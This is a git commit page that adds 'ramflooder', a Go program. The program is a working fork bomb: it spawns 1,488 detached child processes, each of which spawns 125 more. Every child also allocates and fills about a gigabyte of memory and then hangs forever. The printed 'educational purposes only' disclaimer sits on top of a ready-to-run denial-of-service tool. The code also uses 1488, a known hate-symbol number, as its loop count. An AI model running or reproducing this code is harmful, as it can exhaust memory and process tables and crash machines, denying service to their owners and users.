lol
This commit is contained in:
commit
2c86a0af33
1
.gitignore
vendored
Normal file
1
.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
ramflooder
|
||||||
60
main.go
Normal file
60
main.go
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"syscall"
|
||||||
|
)
|
||||||
|
|
||||||
|
func childProcess() {
|
||||||
|
go func() {
|
||||||
|
for i := 0; i < 125; i++ {
|
||||||
|
cmd := exec.Command(os.Args[0], "child")
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||||
|
Setpgid: true,
|
||||||
|
}
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "lol wtf %v\n", err)
|
||||||
|
} else {
|
||||||
|
cmd.Process.Release()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
data := make([]byte, 1024*1024*1000)
|
||||||
|
for i := range data {
|
||||||
|
data[i] = byte(i % 255)
|
||||||
|
}
|
||||||
|
|
||||||
|
select {}
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
if len(os.Args) > 1 && os.Args[1] == "child" {
|
||||||
|
childProcess()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Println("WARNING: This tool is intended for educational purposes only.")
|
||||||
|
fmt.Println("The author is not responsible for your actions!!~ (just have fun)")
|
||||||
|
fmt.Println("-----------------------------------------------------------------")
|
||||||
|
|
||||||
|
pid, _, _ := syscall.Syscall(syscall.SYS_FORK, 0, 0, 0)
|
||||||
|
if pid == 0 {
|
||||||
|
for i := 0; i < 1488; i++ {
|
||||||
|
cmd := exec.Command(os.Args[0], "child")
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||||
|
Setpgid: true,
|
||||||
|
}
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
fmt.Fprintf(os.Stderr, "lol wtf %d: %v\n", i+1, err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
cmd.Process.Release()
|
||||||
|
}
|
||||||
|
os.Exit(0)
|
||||||
|
} else {
|
||||||
|
os.Exit(0)
|
||||||
|
}
|
||||||
|
}
|
||||||
Loading…
x
Reference in New Issue
Block a user